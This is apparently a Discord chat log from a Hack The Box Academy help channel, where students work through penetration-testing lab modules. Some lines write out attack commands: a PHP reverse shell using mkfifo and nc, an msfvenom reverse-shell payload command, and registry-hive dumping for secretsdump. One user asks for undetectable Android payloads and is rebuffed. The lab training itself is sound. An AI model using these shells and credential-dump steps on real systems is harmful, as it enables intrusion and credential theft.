modules

[tall saffron]

anyway

[supple patio]

did you check the question in forum and here?

[tall saffron]

yeah

i found the solution, it is easy, it is just the enumeration i try to optimize

[fathom pendant]

Most subdirs if the top level dir is writable are gonna be writable

[tall saffron]

nope the top dirs are READ

just one from the 12 is wrtie

[supple patio]

[fathom pendant]

Ah

[tall saffron]

and we are back to my question 😉

[fathom pendant]

Also I think you can use smbmap with -c to do a command

If command fail >> no write

[tall saffron]

yeah there is some ways to do it since we did but i was asking if there was a tool who do it like smbmap with -r or -R

seems we need to go around the "problem"

it isnt a problem at first xD

i did with smbclient and -c like you said, and tried to write my file on a subdir

but that was weird there isnt an option for that in smbmap or smbclient

or i missed it

anyway thanks all for helping

[fathom pendant]

Sir

I meant smbmap -c

Lol

[tall saffron]

and i meant i already solved it and i meant i search a tool that does it without scripting it because with -c you must script in bash to make it work

Lol

[fathom pendant]

Command Execution:
  Options for executing commands on the specified host

  -x COMMAND            Execute a command ex. 'ipconfig /all'
  --mode CMDMODE        Set the execution method, wmi or psexec, default wmi

[tall saffron]

i give up lol

thanks for helping

[wooden dust]

how is that running responder smb relaying gves different hashes for just network-joined computer and domain-joined computer?

[proud pine]

Local users and domain users are two different things.

[wooden dust]

so it is worth to run responder on every compromised machine in AD, or just difference is big between machine in domain, and out of domain?

[proud pine]

A non-domain machine isn't going to have the same inter-network communication that would trip responder for domain accounts.

Really, you should just use responder always in any windows situation lol

[wooden dust]

cool, thanks

[proud pine]

or inveigh, if you prefer

[pine dagger]

Has anyone done Working with IDS/IPS, specifically Snort Rule Development? I can't seem to get the correct syntax for the answer.

[autumn pilot]

don't forget the ; at the end

[pine dagger]

hrmm

Does it need the square brackets

[autumn pilot]

nope

[pine dagger]

Is it the full keyword?

[thorn hawk]

Hello to all. I am a little stuck on the Blind XSS activity regarding the PHP listener I am using to listen back to the connection. The first version of this script was to gather credentials but now I need to gather info from multiple inputs fields such us URL image for avatar. username password e.t.c. While I have to change the location to listen to to the new page of the exercise do I have to add additional parameters for isset() and fputs to gather $_GET[' e.g. URL Image parameter name '] to get these values also?

[pine dagger]

Ah! Got it!

Thanks @autumn pilot!

[fresh pine]

Anyone know why I can't send images to this discord?

[dusk torrent]

read #welcome

[fresh pine]

something is definetly wrong because i tried with the next module (windows) and the passwords i get are not the answer

[proud pine]

You should delete that screenshot, as it has spoilers. It looks like you got the password just fine.

[fresh pine]

i'm definetly not getting it 🤣 😅

i tried with three different anwser boxes and they dont accept them

[thorn hawk]

Does anyone can help me with this PHP listener for multiple inputs?

[vital adder]

what module and section are you having issue with?

try with either /tls-seclevel:0 or /timeout:80000 or both

[fresh pine]

@vital adder LLMNR/NBT-NS Poisoning - from Linux from Active driectory enumeration

Someone deleted my msg with all the details 😅

[vital adder]

most likely because it's contain spoiler

[vital adder]

also what's the issue? this section straightforward

[fresh pine]

I understand but when i input the answer they dont work, I can send images in private if needed

[vital adder]

which module and section are you on?

[faint rampart]

If I recall the question says the account name starts with a b submit his full username

[thorn hawk]

I am on XSS vulnerability in the Session Hijacking and trying to implement a blind XSS with a PHP listener

[fresh pine]

I have the username

[vital adder]

oh so you got the cred but it didn't get accept as the answer? and sure shoot me a dm with the cred

[faint rampart]

alright, Mrtom to the rescue 😉

[next umbra]

Will do thanks

[vital adder]

hint everything you need for that is in the examples and the main thing is you have to host ||2|| file

walkthrough and write isn't allow for that module

[thorn hawk]

I dont need to change the PHP script to get more than username and password inputs?

[fresh jay]

@vital adder ive been having some trouble w a metasploit module, do you mind seeing if im on the right track if i send you the scans and the exploit im using?

[vital adder]

but will if you need some help feel free to shoot me a dm but i'm kinda full right now so you may have to wait a bit 🤣

[vital adder]

sure

[fresh jay]

haha thats ok, i appreciate it

ill try make it as quick as pos

[vital adder]

sure and same as the others feel free to shoot me a dm if you need help

[vital adder]

just to double check you are on the Session Hijacking section of the XSS module right? if so then yep

[quick cloud]

I keep getting the following error when trying to use chisel on the pivot host in the module "Pivoting, Tunneling, AND Port Forwarding" section "SOCKS5 Tunneling with Chisel" I used a different version of chisel as stated to do in the section when you receive an error . ubuntu@WEB01:~/chisel-1.7.3$ ./chisel
./chisel: /lib/x86_64-linux-gnu/libc.so.6: version GLIBC_2.32' not found (required by ./chisel) ./chisel: /lib/x86_64-linux-gnu/libc.so.6: version GLIBC_2.34' not found (required by ./chisel)

[vital adder]

if you are using the arm version then just use the amd version

[quick cloud]

Thank you!

[fresh jay]

i was rewriting and figured out i had changed an option that messed everything up, so its all working now :))))

[cosmic raptor]

Hey everyone, can someone help me with the Modul footprinting - Lab Hard. I’ve managed to get the private key for the user, changed permissions for the ssh key and tryed to log in but it won’t establish a connection .. I’ve tried manythings (switching to root user etc.) doesn’t seem to work , does anyone know what to do?

[rustic sage]

Hello im in module AD Enumeration & Attacks - Skills Assessment Part II in question 11 (Submit the contents of the flag.txt file on the Administrator desktop on the DC01 host.), please could somebody help me ?

[vital adder]

for someone to be able to help you, you kinda have to say what you need help with 🤣

[rustic sage]

Im trying to log in DC01 but credentials doesnt work!!

[vital adder]

but i have help enough people to kinda guess what you are having issue with and hint go back to question 9

[vital adder]

hint you can't

also it's an AD attack not a PrivEsc so why is logging in your first and (maybe) only choice?

[vital adder]

so you have the cred, key and user but you still can't login?

[rustic sage]

yes

i have this issue

see it and i delete it because are credentials

[vital adder]

yea that's intended

you don't need to login into the DC for this attack

[rustic sage]

mmmm

[vital adder]

like i said it's isn't a PrivEsc and the hint i give go back to "question" 9 (not the answer)

[rustic sage]

i try one think

why this doesnt work?

[hushed rivet]

you first have to load it in memory

the module

[proud pine]

use .\powerview.ps1

[hushed rivet]

or -s i think

[rustic sage]

i load it

im trying to solve this f**cking module but i cant

i use this Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl

[cosmic raptor]

Right…

[vital adder]

shoot me a dm with key that you have and if that's wrong i'll send you the one that work for me

[vital adder]

if you need a other hint then you have a user that's in the ||DA|| pwning the DC should be straight forward

[acoustic owl]

Did you get the badge now?
It should be possible to get the badge now.

[wild dragon]

not yet, lol

@acoustic owl

[acoustic owl]

You were just too fast lol

Support can probably help you.

[proud pine]

I am the 0.00%

[acoustic owl]

me too

[wild dragon]

the girl doesn't like it (too fast)

[rustic sage]

Hey guys me and my friend gonna make it automattic bot in krunker.io that claim free kr on specific map so if anyone wanna join DM me also we gonna split the kr we make

[high reef]

hello everyone
the live engagment is kicking my butt
in the shells & payload section
don't chat in here much so i can't even uplaod pics
i used this paload to get a reverse shell msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.16.1.11 LPORT=8080 -f war -o revshell.war
but when i deploy it and active my listener nc -lvnp 8080 i get nothing

[tranquil axle]

Do you also click the link after deploying?

[rustic sage]

hello everyone i have a little question what is the diference between wmiexec and psexec and where i have to use they and what ports use?

[high reef]

i did click on the link which opened up another page but i got no error

[vital adder]

https://medium.com/@allypetitt/windows-remoting-difference-between-psexec-wmiexec-atexec-exec-bf7d1edb5986

[tender lake]

I'm a little bit stuck on Password Attacks -Hard assessment. I've got as far as getting the vhd and running it through john and gotten a password, but when I try to mount it (following this https://medium.com/@kartik.sharma522/mounting-bit-locker-encrypted-vhd-files-in-linux-4b3f543251f0 mentioned previously in this chat), then when I try to open the 'Device' and enter the password it says "Password Incorrect".
Any Idea where I went wrong?

[vital adder]

read #welcome and #rules after that use /verify at #bot-commands and after you verify your account you can send screenshot

also pls ask better question some thing like what's the issue, what did you try and what didn't work

[rustic sage]

ooohh this is what i need thanks

[vital adder]

this channel is for HTB academy so don't share sh!t like this or you will get the 👢 from one of the mod

[vital adder]

#modules message

if you have some issue flowinging that let me know

[quiet geode]

Hi im stuck at Introduction to bash scripting and im kinda confused what i should try next could someone help me?

[high reef]

ok verifed now

[woven copper]

hi there, i dm you my decoded shellcodes

[vital adder]

and what's the issue?

[high reef]

revshell upload

[vital adder]

what target are you on and did you try to run the shell?

[high reef]

i went to webpage

[high reef]

how do i run the shell ? i though once i hit deploy that would be running the shell

[vital adder]

<@&861185840277487616>

[vital adder]

the issue is you are using the wrong ip

use 172.16.1.5 instead

[high reef]

will do, how would i konw to use that ip ?

[vital adder]

it's the ip of the given box 🤣

[high reef]

not true

[vital adder]

i mean the internal ip of the foodhold machine

[high reef]

indeed

[high reef]

thanks for your help kind squirrel

[high reef]

lol i will need more help in this section

[tender lake]

Thanks for the assist, I got it open

[high reef]

my next issue is

i can't downlaod the exploit for

its in the /etc/hosts file

[analog pewter]

can anybody help how to mount vhd file in linux

[trail leaf]

That foothold box is not connected to the internet afaik

[tranquil axle]

https://medium.com/@kartik.sharma522/mounting-bit-locker-encrypted-vhd-files-in-linux-4b3f543251f0

[vital adder]

hint that exploit is somewhere in the foothold box

[torn blade]

im doing the vullnerability assessment module. With openvas what the vulnerabilitys are called is not appeaering

[high reef]

roger that, i'm looking now

[torn blade]

i get a long as string like 1.3.6.1.4.1.25623.1.0.900600, not what the vuln is called

[zinc marsh]

buffer-overflow modules are now tier 0?

[torn blade]

which makes it so I cant anser the questions of what vuln its describing

[tranquil axle]

Yes, I had issues mounting the vhd too but that link worked for me

[high reef]

i believe i found it

[tender lake]

Thanks for all the assistance with Password Attacks. Just finished the module

[torn blade]

NVM to my issue, I litearlly changed nothing and it fixed itself randomly

[high reef]

how do i drop that payload into msfconsole? i'm having issues doing so

[obsidian crag]

By listenning the same ip and port that you set for the payload

[high reef]

could you give me an example of the command ?

[obsidian crag]

Bro..better you refer vedios

On youtube

For msf..there is clear solution

[vital adder]

if you mean import the exploit module into metasploit then i don't have anything on the top of my head right now so google is your best friend also the key is after importing the exploit run reload_all before you can use it

[obsidian crag]

I have a question friends...

If i pay for an annual vip+ of $200plus

Then i can able to get access for pro lab or not ?

[trail leaf]

Pro labs are a separate subscription

[zinc marsh]

pro labs aren't even from the academy

[vital adder]

first if you are new here read #welcome and #rules after that use /verify at #bot-commands and are you in the academy channel so if you mean the Silver Annual then nope the academy doesn't have anything to do with the main platform and if you mean the VIP+ on HTB then still nope but now "all" prolab is $49

[zinc marsh]

academy just covers the modules and with silver sub I think u have 1 attempt for the exam

[fathom pendant]

Mood

[zinc marsh]

and in the main platform there is a sub for the machines and other one for the pro labs

[fathom pendant]

1 voucher

Which is still the 2 attempts

[civic zenith]

How do I 'impersonate' a user with 'sqlcmd'?

[high reef]

the exploit should be in metasploit

but doesn't show up

[vital adder]

put it in /home/htb-student/.msf4/modules/

[fathom pendant]

I believe attacking common services shows how

Mssqlclient and sqlcmd are relatively the same thing

[zinc marsh]

1 question

BOF modules weren't tier 0 before right?

I was blind and I just saw I can buy them for 10 cubes

[civic zenith]

@fathom pendant Right ok thx I'll reread some things. Couldn't use mssqlclient because it was lagging to much on the pwnbox, now doing sqlcmd from rdp

[fathom pendant]

Ye but I believe the section goes over checking impersonate privs and how to

So it should be good

[acoustic owl]

I think these modules have always been Tier 0.

[high reef]

i did that and did a msfupdate in msdfconsole

waiting for it to load and hopefully payload is available now

[civic zenith]

Just completed the final 'hard' lab of the Attacking Common Services skills assessment. If anyone needs help on that module or any before it go ahead and ask me and I'll try to give you a hint.

[high reef]

<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 171.16.1.5 8443 >/tmp/f"); ?> i uploaded this command and i'm listening on port 8443 and got no connection any idea why ?

[civic zenith]

Try accessing the url of the .php file you uploaded @high reef

[high reef]

got this error

[civic zenith]

not .aspx, you wrote your shell in php originally right? Should be .php

unless php is not running on that server

[civic zenith]

Woops youll have to upload an aspx shell @high reef My mistake I should have just told you that. Normally you don't see php AND aspx running on the same server.

[digital pewter]

The source of the issue is the expired DomainControllerAuthentication and KerberosAuthentication certificates on the domain controller. They expired on March 30, 2023. Another fun exercise is rooting the DC, updating the certs, then proceeding with the PetitPotam exploit. I've posted the issue in #858470491676737536 but it will require someone go update the image.

[keen compass]

Very nice to share this info, I will definitely try it

[high reef]

i have a shell but i can't travel any where

do you have a reverse shell i can use nc with ?

[digital pewter]

https://www.revshells.com/

[high reef]

thanks

[desert cove]

Hello i have a question about a Anatomy of a Shell the question is "Which two shell languages did we experiment with in this section? (Format: shellname&shellname)" so my answer is ||powershell&bash|| but i still get an incorrect answer is it because im typing it in the wrong format.

[gaunt surge]

did you try it the other way around?

[desert cove]

Lol it worked 😄 Thanks

[trail leaf]

For future reference, you can't cd anywhere from inside a simple webshell because it's just executing single commands from the directory that it is placed in.

[mild cypress]

~~Question regarding Footprinting Lab - Medium ~~

Resolved!

[thorn urchin]

evil-winrm doesnt use RDP

[mild cypress]

Oh. That makes sense. I'm dumb as hell, hahaha. This is exactly why I should coffee before trying to use my brain.

[thorn urchin]

happens

[mild cypress]

Ended up using Remmina but curious if anyone would suggest any other RDP tools?

[frozen mesa]

INTRODUCTION TO WINDOWS COMMAND LINE - skill assessment.
Use the tasklist command to print running processes and then sort them in reverse order by name. The name of the process that begins with "vm" is the flag for this user.
I did the next things: PowerShell -> Get-Process | Where-Object { $_.Name -like "vm" }

Results: vmtoolsd (which is wrong) and vm3dservice (which is also wrong)

Anyone a hint what i did do wrong?

[zinc marsh]

evil-winrm is for winrm

for rdp u can use xfreerdp or whatever tool u want to use

[gaunt surge]

Imo remmina is the best, especially the scaling options

[mild cypress]

Thanks for the feedback.

[mild cypress]

madf0x beat you to it 😛

Thank you though!

[zinc marsh]

reminna xfreerdp vinagre

[ancient glade]

Hey all, I have a question about the Attacking Common Services - Easy section.|| I got a set of creds and was able to find the upload portal on the site, as well as it's path on the host, but am not sure how to leverage this. I know that uploading a shell is the way to go, but I can't find where the file goes. || Any help is appreciated

[frozen mesa]

Found it. Forgot .exe

[trail leaf]

The application you're attacking is open source, the file structure is well known

[rustic arrow]

I'll open a PR to increase the stats decimal places you were part of the 0.0001%

[acoustic owl]

@proud pine you can post this as Linkedin status now
Top 0.0001%

[rustic arrow]

I mean, he wouldn't be lying

[frozen mesa]

INTRODUCTION TO WINDOWS COMMAND LINE - skill assessment.
Task 10 (last one) What user account on the Domain Controller has many Event ID (4625) logon failures generated in rapid succession, which is indicative of a password brute forcing attack? The flag is the name of the user account.

All the info i got from the log files are incorrect. Should i connect to another machine (DC) first?

[acoustic owl]

What user account on the Domain Controller has many Event ID (4625) logon failures generated in rapid succession, which is indicative of a password brute forcing attack?

[static shadow]

can anyone help me with this Ques :

Interact with the target DNS using its IP address and enumerate the FQDN of it for the "inlanefreight.htb" domain.

Ive tried nslookup and dig tools
cant find the FQDN on the output...am I missing something?

[acoustic owl]

The question is posed in a somewhat confusing manner. You are looking for the FQDN of the NameServer

[tender lake]

Just wondering what I am possibly doing wrong. I trying to do the quiz for Attcking Common Services - FTP but I just cant see the FTP port. I'm using sudo nmap -p- -sV -sC <IP> but the only open services that I get back is ssh DNS and SMB

when I scan specifically for FTP like its stated in the section -p 21 I can see 21/tcp closed ftp

[violet berry]

Hey guys I'm a newbie in the academy and don't understand if I where to finish a certain amount of modules am I going to have a chance to be recruited in the HTB organization?

[frozen mesa]

Earlier they were quite clear about connecting to the DC, now i guess i use the same creds as earlier with the user?

[dawn parrot]

@nimble fractal i am using "sudo responder -I tun0" for the resonder, anything wrong here?

[acoustic owl]

You can take the same creds as you have worked out for this task

[frozen mesa]

Thanks, found it.

[trail leaf]

Try restarting the box and giving it a minute or two before scanning, could just be an error with spawning it

[pine dagger]

Anyone done Introduction to C#? I'm having a problem getting VS Code to import the library from the Assessment.

[acoustic owl]

Stuck with the same task 🙈

[pine dagger]

Its my final question 😄

[acoustic owl]

Were you able to include the DLL in the Libraries section?

[dawn parrot]

module : attacking sql databases
i have logged in with the given creds, trying to do hash stealing but getting this errors. any help is appreciated

[acoustic owl]

I'll take care of it tomorrow.

[pine dagger]

Yeah, but I did it on my windows machine.

[acoustic owl]

My secret weapon

https://www.udemy.com/course/csharp-grundlagenkurs-fuer-anfaenger/learn/lecture/37314296?start=0#overview

[pine dagger]

hahaha

[tender lake]

still borked

[trail leaf]

are you sure 10.10.14.255 is actually your tun0 ip address?

[acoustic owl]

With VS Code or with Visual Studio Community?

[dawn parrot]

@trail leaf yep

[pine dagger]

VS Code.

[acoustic owl]

try to Scan all Ports 😉

[nimble fractal]

That can't be right. X.X.X.255 is a broadcast address

[dawn parrot]

@nimble fractal

[thorn urchin]

your error tells you the problem

xp_subtree doesnt exist

[acoustic owl]

Broadcast in this case is 10.10.15.255
10.10.14.1 - 10.10.15.254 are Hosts

[thorn urchin]

and you dont have perms for xp_subdirs

[pine dagger]

This is only true if the subnet mask is a /24.

[dawn parrot]

@thorn urchin found it thx for the help

[thorn urchin]

np

[tender lake]

I wish that gave a different result

[pine dagger]

You should have another port showing up there. Slightly higher

[acoustic owl]

Restart the lab. One port is still missing

[dire birch]

hello i need help with Attacking Common Services - easy

i heard its a cursed module

[slate vector]

22 it’s the best port to go though my man

[pine dagger]

Its not.

[slate vector]

Ye it is for a sever

[pine dagger]

The challenge is for FTP.

[slate vector]

It gives full access doesn’t it

Oh

I did not read

My b

[pine dagger]

yep! /bonk

[slate vector]

😂

What

Was

That

[acoustic owl]

I don't know why you think the module could be cursed. If you tell what does not work, you will surely get help

[pine dagger]

Spammer got auto banned I think

[slate vector]

Oh

Anyone know how to hide links

Cuz I use this

Give me a sec

[dire birch]

currently struggling to even enumerate users

[acoustic owl]

Take a close look at the NMAP scan.

[pine dagger]

Identify a port with the NMAP, and then use one of the tools that's discussed in the earlier chapters to enumerate users.

[dire birch]

tried smtp-user-enum, also hydra for password spraying on ftp and rdp

[pulsar needle]

How am I supposed to get the hashes from a NTDS.dit file I have? I tried to cat it and got the binaries xd

[pine dagger]

Are you using the provided user.list file?

[tender lake]

I thought as much

[pine dagger]

Secretsdump.py

[dire birch]

yeah

[pine dagger]

Added domain?

[dire birch]

yeah

[pine dagger]

What commands are you trying? (obfuscate them)

[keen compass]

did you tried updating the certs ? I am currently on it but am facing an RPC error when trying to enroll for new certs. did you managed to do it ?

[dire birch]

i am, otherwise i wouldnt even see it

[dire birch]

can i dm u?

[keen compass]

you must provide path to every files (NTDS SYSTEM, SAM)

[pine dagger]

You need the SYSTEM and SAM from the registry

[pine dagger]

Sure.

[keen compass]

if you read French : https://rebrec.github.io/rebsecnotes-public/_Techniques/Windows/Dump de credentials/Dump de la SAM/#sam
else basically you first need to gather thoses 3 files by running the following on the compromised host :

reg save hklm\sam sam.save
reg save hklm\system system.save
reg save hklm\security security.save

then you download the 3 "save" files on your attack box and then run

secretsdump.py local -sam sam.save -security security.save -system system.save LOCAL

[pine dagger]

Technically, they only need the SYSTEM, as they've got the NTDS.dit

https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/

[keen compass]

umm nevermind, just bumped on secretsdump and didn't read properly

[pine dagger]

😄

[keen compass]

🙂

[dire birch]

ok for some reason i found an user

[pulsar needle]

Ah oke thx

It works

thanks

[thorn urchin]

Because the connection in question wasnt being broadcasted across the network

ONLY being sent to that one box

also a ton of spoilers, should delete your message now

Nice, definitely above and beyond the scope the lab intends for ya, but imo thats where some of the best learning is done

even if in this case the motivation was to fix the lab

[silent sleet]

If we have a student HTB academy plan, the silver plan really only gives us the free voucher, yeah? pretty much the only thing you'd get from going to student to silver or am I missing something

[keen compass]

thanks will try with certify this is weird that the enrollment agent is not able to get a new cert and certify can lol. I am wondering how certify get the certs it it using the web endpoint instead of RPC calls ?

[zinc marsh]

damn the practice is really working 😄

I got this box solo in around 3 hours

[tender lake]

4th time's the charm🍀 . FTP finely showed up

[zinc marsh]

I can help u with certipy if u have any doubt

[keen compass]

from windows ?

[zinc marsh]

https://github.com/dirkjanm/PKINITtools u can use this to craft tickets and get the nthash with the cert

[zinc marsh]

from kali

u are using windows as attacking box?

[keen compass]

the goal is to install new certificates on the domain controller, even if this may be feasable with certipy, it would be more complex I guess

[zinc marsh]

oh mb

I thought u wanted to get the certificate

[keen compass]

🙂

[zinc marsh]

not create and new one

[digital pewter]

The certs on the DC that allow that to work expired so we are discussing the process of updating the certs so that can be used as shown in the module.

[zinc marsh]

oh okay

which module is it?

I would like to learn about that

[digital pewter]

AD Enumeration and Attacks - Bleeding Edge Vulnerabilities section.

[zinc marsh]

they updated the module?

I don't remember doing anything about certificates in that module

[tender viper]

@fathom pendant I'm stuck on the Footprinting Lab - Easy......... Can someone help assist me in this module? Once I log into the ftp sever with the creds provided, I can't seem to progress form there.

[digital pewter]

You didn't have to do that part (PetitPotam exploit) to answer the questions, it was optional.

[thorn urchin]

it doesnt. theyre going beyond to solve why a part of it is broken

Id love an ADCS module though

[zinc marsh]

oh okay

[autumn pilot]

I kindly advise to not spoil the exercises, additionally to not push students into rabbitholes

[trail leaf]

Not spoilers when the whole exercise says "do what we did in the section"

[thorn urchin]

I dont see how its spoiling an exercise. Its an optional section

[autumn pilot]

I'm talking in general

[thorn urchin]

I guess ¯_(ツ)_/¯

[pine dagger]

Wheee!

[crude otter]

guyys

[thorn urchin]

congrats

[autumn pilot]

I've seen students falling into rabbitholes just because they have read x, y and z, without considering

From different users

[pine dagger]

2 more questions to go and I'll have finished every (current) module! 😄

[thorn urchin]

Rabbit holes have the best knowledge gains

[thorn urchin]

thats impressive

[pine dagger]

That's possible, but only if they can dig themselves out of the rabbit hole

[thorn urchin]

@acoustic owl be fuming

[crude otter]

i have a problem , how could shutdown redeemer machine in hack the box, i cannot connect whit the machine but i can stop thath machine

[autumn pilot]

Not quite, especially when you don't know what you are doing

[crude otter]

please

[pine dagger]

More like "Oh hey, someone I can ask for help!" 😄

[thorn urchin]

they too have been aiming to clear every academy module

[crude otter]

sorry

[pine dagger]

This is the channel for academy modules. Try #boxes

[rustic sage]

How was it ?

[crude otter]

i have no acces

:c

[thorn urchin]

read #rules and #welcome

[pine dagger]

Relatively easy up until the Skill Assessment, where it suddenly was a bit more complicated. But nothing too difficult. Hardest part was getting VS Codium to co-operate and get the wordlist out of the library.

[thorn urchin]

and youll gain access

[rustic sage]

they have labs ? For this

[pine dagger]

I've been a little ahead for awhile. But I had this week off, so I was finishing off the last 5 modules. Just need to do Game Hacking.

[pine dagger]

Some basic questions for some of the modules, with a couple of labs. Final lab is importing a dll, and then using it to enumerate against a HTTP server to grab a flag.

[soft timber]

Hello

What is the difference between HTB academy and try hack me?

[pine dagger]

Similar things

I've only done a little THM, but it felt a bit more walkthroughy

[digital pewter]

Nice! I've been waiting for this. Have been having some trouble locating quality zero to hero Offensive C#.

[pine dagger]

I've finally done it! Taken a year, but I've done it!!

Now to do some prolabs and boxes, lol

[high reef]

i only need to answer this one question to be done with shells and payloads

i'm stuck here, i go to website and find the clue to download the 50064.rb file

i upload it to msfconsole but i get this error message

i set the rhosts=172.16.1.12 set lhost=172.16.1.5 set username admin set password admin123!@#

i saw a clue on the forum about vhost its not needed to be set, but what would it be set to ?

[zinc marsh]

insane bro

keep the grind

I am still at 48/83

[ancient glade]

Hey all, I'm having a issue in the Password attacks “Passwd, Shadow & Opasswd” module.|| I got the passwd and shadow file, unshadowed it, but now I'm running the command "hashcat -m 1800 -a 0 unshadowed.hashes mut_password.list -o unshadowed.cracked" and getting no results. Both the passord.list file and mut_password.list files exhausted the list, and rockyou.txt is going to take three hours. Is there anythiung else I can do, or do I just need to bite the bullet.|| Advice here or DMs would be appreciated.

[green girder]

Hi so about the Learning Process module, I've revisited it and was going through some of my notes and saw that "The Learning Pyramid" has some controversy behind it, this being more specifically directed at sections: Learning Efficiency and Learning Type.

||The controvesy being that NTL Institute the initial Research org that published "the learning pyramid" is currently unable to prove any of it's work due to quote "While we believe it to be accurate, we no longer have nor can we find the original research that supports the numbers." <- This was taken from The paper published by Kare Letrud "A Rebuttal of NTL Institute's Learning Pyramid".||

Anyone find any similar info in their research? Also I've tried searching for the original papers on "The Learning Pyramid" and have yet to stumble on anything.

[thorn urchin]

Idk, I loosely follow the ultra learning principles. Never learned this Learning Pyramid

I wouldnt worry about it too much

either you have the passion and spark of curiosity that drives you to learning in this field or you dont

[green girder]

I can side with that, learning to discern info was part of the module's advice 😛

[fathom pendant]

Set the vhost

[maiden spindle]

hey guys. I can't find julio.txt https://academy.hackthebox.com/module/147/section/1657 Check the /tmp directory and find Julio's Kerberos ticket (ccache file). Import the ticket and read the contents of julio.txt from the domain share folder \DC01\julio.

any hints? as to what I might be doing wrong? the last person who got stuck here didn't get an answer in the channel

got it

[wheat garden]

say what dayum! You done every single module?!

[pine dagger]

Yep! And that’s the plan!

[wheat garden]

thats a helluva achievement though congrats every sing module!

[thorn urchin]

wrapped in spoiler and harmless as it is. Id delete before a mod a reads it

[gloomy bramble]

You figure this one out yet? I am stuck here also. I got all the subdomains, running dig to check records, and not finding anything. I see something with flags in records, but that is not it.

[tender viper]

Can anyone help with the Footprinting Lab -Easy?

[silent sleet]

you guys all doing the attacking enterprise networks module at the very end blind? doable blind ?

[thorn urchin]

Mostly blind

one little part im not sure how I would have done blind without simply knowing the trick of it beforehand

added to my notes ofc

[proud pine]

That one part was totally not fair lol

[silent sleet]

ahh - that towards the end or start of it?

without giving anything away

[thorn urchin]

youll find out

[silent sleet]

hehe alright indeed i will

[lyric bolt]

Im still stuck on AD enumeration skills assessment question8 i must be overthinking this gahhh

[cunning prairie]

What is your question?

[silent sleet]

#1 or #2?

[lyric bolt]

#2

[silent sleet]

that was the one that got me for few minutes as well but then I read the hint

[lyric bolt]

Im sitting as system on MSQL01 and tried all the things i can think of to get myself admin on MS01

[silent sleet]

ohh it was the next one that had me stumped not that one

just read the hint on that one, go back to the basics

[lyric bolt]

something talked about in this module basics or previous modules?

[silent sleet]

the hint on the next one helps too, this one "Obtain credentials for a user who has GenericAll rights over the Domain Admins group. What's this user's account name?"

embrace the suffering, thats where you learn the most 😄 - go back to the basics of the module, the hint is a give away, good luck

I would also say, just start from scratch, do a full start to finish attack. I did both the AD exercises blind, only read the questions towards the end of #2 for the hint. So I had already mapped out the entire domain, users, groups, privs etc. If you're just answering the questions, maybe you haven't done full enumeration yet so do that

[lyric bolt]

ahhh okay

[rustic sage]

@lyric bolt🍞

[bleak nexus]

ive spent all day looking at different reasources, determining which module I should begin with

its... exciting to learn about all these different things

hopefully I can stay consistent in my learning

I dont know exactly what I want to achieve with htb

but ill do it regardless

[fathom pendant]

Start with the infosec foundation path, it paves the groundwork for a lot of things

[bleak nexus]

Im on the your interests screen on the account creation part

once I hit it, i realized I dont exactly know uhh

what intrests me

[fathom pendant]

Honesty: this isn't important

[bleak nexus]

alright

I also know a tiny bit of python if that adds any value

trying to get better in that regard

[high reef]

Todays lab was the Tom cat server.. I couldn’t figure it out. But eventually got it! I go out to party and Tom cat looking right at me

[fathom pendant]

There's probably a few python courses and such but eh for the most part, unless you're creating your own tool, you rarely need to code your own things

[obsidian crag]

Can anyone tell me the suggestion for undetectable payload and for autoinstallation

?

[fathom pendant]

No

What module is this for

[obsidian crag]

It's a personal qs

[obsidian crag]

For my project

[fathom pendant]

Wrong answer

Read the #rules and #welcome

[obsidian crag]

All the times my playload got detect by firewall androi.

Uselesss🙄🙄🙄

[fathom pendant]

Then that's just a skill issue. But it is wholly unrelated to this channel

[obsidian crag]

Good bye

[fathom pendant]

Good

[fathom pendant]

🙄

[fathom pendant]

Go fuck off now, if you don't know how to read rules

[obsidian crag]

U too

[fathom pendant]

I at least know what the rules are and what the purpose of this channel is

[obsidian crag]

No u don't know

Hackthebox is totally related to learning

Not only modules

[vital adder]

@obsidian crag don't want to destroy the fun but keep spamming unrelated stuff to this channel like that you will get the 👢from one of the mod

[obsidian crag]

Okk🙄

[fathom pendant]

Correct, just ask your questions in the appropriate place

[modern falcon]

COMMAND INJECTIONS - Advanced Command Obfuscation: How do I bypass the blacklist filter of the -n 1 part in the command "tail -n 1"?

[fathom pendant]

Potentially url encoding?

[modern falcon]

Doesn't work

I can run tail but when I try to add the -n 1 part it cannot run

[fathom pendant]

reread the section maybe ¯_(ツ)_/¯

I haven't done this. So I'm spitballing

[edgy dust]

hey

I'm new to this whole thing and am trying to sign up for the HTB thing, and I don't understand what exactly everything means in the "your interests" section means

could someone give me the rundown?

[modern falcon]

Ur right, I did miss something from the section

[fathom pendant]

I mean it's kinda self explanatory, things that interest you

It's overall, not actually important

just user data stuff ¯_(ツ)_/¯

[edgy dust]

Yes, however, when I say I'm new to this whole thing, I mean I'm brand spanking new to this entire field, I don't understand what the words mean

[fathom pendant]

Then you don't need to really select anything or just use google

[edgy dust]

wtf is a DevSecOps or a Cryptography

It forces you to choose 3+ items

[fathom pendant]

Development Security Operations

Just honestly Google them or select arbitrarily

It really doesn't matter

[edgy dust]

I'm just going to choose all the ones that say Penetration testing because I'm childish and that sounds funny

[fathom pendant]

¯_(ツ)_/¯

Like I said it doesn't matter

[edgy dust]

ok, cool

[acoustic owl]

Congratulations 🎉

[acoustic owl]

Because Wolfiej has completed all modules?
No, I am happy for him and admire this achievement.

[thorn urchin]

I was just joshing around

[rustic sage]

what is function of -z

[coarse escarp]

So Im having some problems with the introduction modules.

inlanefreight.com is not responding

yet the site works just fine

[gaunt surge]

it checks if the passed argument is empty. ex:

#!/bin/bash

if [[ -z $1 ]]; then
  echo "No argument provided"
else
  echo "argument: $1"
fi

example;

if i run this

./program``` 
returns 'no argument provided'

```bash
./program hello```
returns ' argument: hello'

[coarse escarp]

can anyone help me out here on to what's going on?

also, the emulators are slow to

[gaunt surge]

@coarse escarp is this for the questions section Obtain a session cookie through a valid login, and then use the cookie with cURL to search for the flag through a JSON POST request to '/search.php'?

@coarse escarp You need to start the target and then connect to the given ip to access the website.

[coarse escarp]

im looking for locations using post

oooh

[rustic sage]

but what is benifiet of double square brackets because when i am use square bracket the code is works

[coarse escarp]

I see now

i need to spawn it in first

[gaunt surge]

yea it would work, double is for enhanced conditional testing, ex. && and ||

[gaunt surge]

